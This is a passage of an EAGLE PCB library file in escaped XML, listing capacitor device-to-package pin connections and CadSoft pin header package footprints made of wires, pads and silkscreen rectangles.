pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"102-064X133\" package=\"C102-064X133\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"102_152-062X184\" package=\"C102_152-062X184\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"150-054X183\" package=\"C150-054X183\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"150-064X183\" package=\"C150-064X183\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"150-072X183\" package=\"C150-072X183\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"150-084X183\" package=\"C150-084X183\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"150-091X182\" package=\"C150-091X182\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"225-062X268\" package=\"C225-062X268\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"225-074X268\" package=\"C225-074X268\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"225-087X268\" package=\"C225-087X268\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"225-108X268\" package=\"C225-108X268\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"225-113X268\" package=\"C225-113X268\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"275-093X316\" package=\"C275-093X316\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"275-113X316\" package=\"C275-113X316\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"275-134X316\" package=\"C275-134X316\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"275-205X316\" package=\"C275-205X316\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"325-137X374\" package=\"C325-137X374\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"325-162X374\" package=\"C325-162X374\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"325-182X374\" package=\"C325-182X374\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"375-192X418\" package=\"C375-192X418\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"375-203X418\" package=\"C375-203X418\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"050-035X075\" package=\"C050-035X075\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"375-155X418\" package=\"C375-155X418\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"075-063X106\" package=\"C075-063X106\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"275-154X316\" package=\"C275-154X316\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"275-173X316\" package=\"C275-173X316\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C0402K\" package=\"C0402K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C0603K\" package=\"C0603K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C0805K\" package=\"C0805K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1206K\" package=\"C1206K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1210K\" package=\"C1210K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1812K\" package=\"C1812K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C1825K\" package=\"C1825K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C2220K\" package=\"C2220K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"C2225K\" package=\"C2225K\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"pinhead\">\n<description>&lt;b&gt;Pin Header Connectors&lt;/b&gt;&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"2X03\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-3.81\" y1=\"-1.905\" x2=\"-3.175\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.905\" x2=\"-0.635\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-2.54\" x2=\"1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-1.905\" x2=\"-3.81\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"1.905\" x2=\"-3.175\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"2.54\" x2=\"-1.905\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"2.54\" x2=\"-1.27\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.905\" x2=\"-0.635\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"2.54\" x2=\"0.635\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"2.54\" x2=\"1.27\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.905\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"1.905\" x2=\"1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-2.54\" x2=\"0.635\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-2.54\" x2=\"-1.905\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"1.905\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-2.54\" x2=\"3.81\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"1.905\" x2=\"1.905\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"2.54\" x2=\"3.175\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"2.54\" x2=\"3.81\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.905\" x2=\"3.81\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-2.54\" x2=\"3.175\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"-1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"-2.54\" y=\"1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"0\" y=\"-1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"4\" x=\"0\" y=\"1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"5\" x=\"2.54\" y=\"-1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"6\" x=\"2.54\" y=\"1.27\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"3.175\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-4.445\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.794\" y1=\"-1.524\" x2=\"-2.286\" y2=\"-1.016\" layer=\"51\"/>\n<rectangle x1=\"-2.794\" y1=\"1.016\" x2=\"-2.286\" y2=\"1.524\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"1.016\" x2=\"0.254\" y2=\"1.524\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-1.524\" x2=\"0.254\" y2=\"-1.016\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"1.016\" x2=\"2.794\" y2=\"1.524\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-1.524\" x2=\"2.794\" y2=\"-1.016\" layer=\"51\"/>\n</package>\n<package name=\"2X03/90\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-3.81\" y1=\"-1.905\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.905\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-3.81\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"0.635\" x2=\"-3.81\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"6.985\" x2=\"-2.54\" y2=\"1.27\" width=\"0.762\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.905\" x2=\"1.27\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"6.985\" x2=\"0\" y2=\"1.27\" width=\"0.762\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"3.81\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-1.905\" x2=\"3.81\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"6.985\" x2=\"2.54\" y2=\"1.27\" width=\"0.762\" layer=\"21\"/>\n<pad name=\"2\" x=\"-2.54\" y=\"-3.81\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"4\" x=\"0\" y=\"-3.81\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"6\" x=\"2.54\" y=\"-3.81\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"-6.35\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"0\" y=\"-6.35\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"5\" x=\"2.54\" y=\"-6.35\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-4.445\" y=\"-3.81\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"5.715\" y=\"-3.81\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-2.921\" y1=\"0.635\" x2=\"-2.159\" y2=\"1.143\" layer=\"21\"/>\n<rectangle x1=\"-0.381\" y1=\"0.635\" x2=\"0.381\" y2=\"1.143\" layer=\"21\"/>\n<rectangle x1=\"2.159\" y1=\"0.635\" x2=\"2.921\" y2=\"1.143\" layer=\"21\"/>\n<rectangle x1=\"-2.921\" y1=\"-2.921\" x2=\"-2.159\" y2=\"-1.905\" layer=\"21\"/>\n<rectangle x1=\"-0.381\" y1=\"-2.921\" x2=\"0.381\" y2=\"-1.905\" layer=\"21\"/>\n<rectangle x1=\"-2.921\" y1=\"-5.461\" x2=\"-2.159\" y2=\"-4.699\" layer=\"21\"/>\n<rectangle x1=\"-2.921\" y1=\"-4.699\" x2=\"-2.159\" y2=\"-2.921\" layer=\"51\"/>\n<rectangle x1=\"-0.381\" y1=\"-4.699\" x2=\"0.381\" y2=\"-2.921\" layer=\"51\"/>\n<rectangle x1=\"-0.381\" y1=\"-5.461\" x2=\"0.381\" y2=\"-4.699\" layer=\"21\"/>\n<rectangle x1=\"2.159\" y1=\"-2.921\" x2=\"2.921\" y2=\"-1.905\" layer=\"21\"/>\n<rectangle x1=\"2.159\" y1=\"-5.461\" x2=\"2.921\" y2=\"-4.699\" layer=\"21\"/>\n<rectangle x1=\"2.159\" y1=\"-4.699\" x2=\"2.921\" y2=\"-2.921\" layer=\"51\"/>\n</package>\n<package name=\"1X01\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"1X40\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-4.445\" y1=\"1.27\" x2=\"-3.175\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"0.635\" x2=\"-2.54\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-0.635\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0.635\" x2=\"-6.985\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"1.27\" x2=\"-5.715\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"1.27\" x2=\"-5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0.635\" x2=\"-5.08\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-0.635\" x2=\"-5.715\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"-1.27\" x2=\"-6.985\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"-1.27\" x2=\"-7.62\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"1.27\" x2=\"-5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-0.635\" x2=\"-4.445\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-1.27\" x2=\"-4.445\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.065\" y1=\"1.27\" x2=\"-10.795\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.795\" y1=\"1.27\" x2=\"-10.16\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"0.635\" x2=\"-10.16\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"-0.635\" x2=\"-10.795\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"0.635\" x2=\"-9.525\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.525\" y1=\"1.27\" x2=\"-8.255\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"1.27\" x2=\"-7.62\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0.635\" x2=\"-7.62\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"-0.635\" x2=\"-8.255\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"-1.27\" x2=\"-9.525\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.525\" y1=\"-1.27\" x2=\"-10.16\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.24\" y1=\"0.635\" x2=\"-14.605\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-14.605\" y1=\"1.27\" x2=\"-13.335\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"1.27\" x2=\"-12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"0.635\" x2=\"-12.7\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"-0.635\" x2=\"-13.335\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-1.27\" x2=\"-14.605\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-14.605\" y1=\"-1.27\" x2=\"-15.24\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.065\" y1=\"1.27\" x2=\"-12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"-0.635\" x2=\"-12.065\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.795\" y1=\"-1.27\" x2=\"-12.065\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-19.685\" y1=\"1.27\" x2=\"-18.415\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.415\" y1=\"1.27\" x2=\"-17.78\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.78\" y1=\"0.635\" x2=\"-17.78\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.78\" y1=\"-0.635\" x2=\"-18.415\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.78\" y1=\"0.635\" x2=\"-17.145\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.145\" y1=\"1.27\" x2=\"-15.875\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.875\" y1=\"1.27\" x2=\"-15.24\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.24\" y1=\"0.635\" x2=\"-15.24\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.24\" y1=\"-0.635\" x2=\"-15.875\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.875\" y1=\"-1.27\" x2=\"-17.145\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-17.145\" y1=\"-1.27\" x2=\"-17.78\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.86\" y1=\"0.635\" x2=\"-22.225\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.225\" y1=\"1.27\" x2=\"-20.955\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.955\" y1=\"1.27\" x2=\"-20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.32\" y1=\"0.635\" x2=\"-20.32\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.32\" y1=\"-0.635\" x2=\"-20.955\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.955\" y1=\"-1.27\" x2=\"-22.225\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.225\" y1=\"-1.27\" x2=\"-22.86\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-19.685\" y1=\"1.27\" x2=\"-20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.32\" y1=\"-0.635\" x2=\"-19.685\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.415\" y1=\"-1.27\" x2=\"-19.685\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.305\" y1=\"1.27\" x2=\"-26.035\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-26.035\" y1=\"1.27\" x2=\"-25.4\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-25.4\" y1=\"0.635\" x2=\"-25.4\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-25.4\" y1=\"-0.635\" x2=\"-26.035\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-25.4\" y1=\"0.635\" x2=\"-24.765\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-24.765\" y1=\"1.27\" x2=\"-23.495\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-23.495\" y1=\"1.27\" x2=\"-22.86\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.86\" y1=\"0.635\" x2=\"-22.86\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-22.86\" y1=\"-0.635\" x2=\"-23.495\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-23.495\" y1=\"-1.27\" x2=\"-24.765\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-24.765\" y1=\"-1.27\" x2=\"-25.4\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-30.48\" y1=\"0.635\" x2=\"-29.845\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-29.845\" y1=\"1.27\" x2=\"-28.575\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-28.575\" y1=\"1.27\" x2=\"-27.94\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.94\" 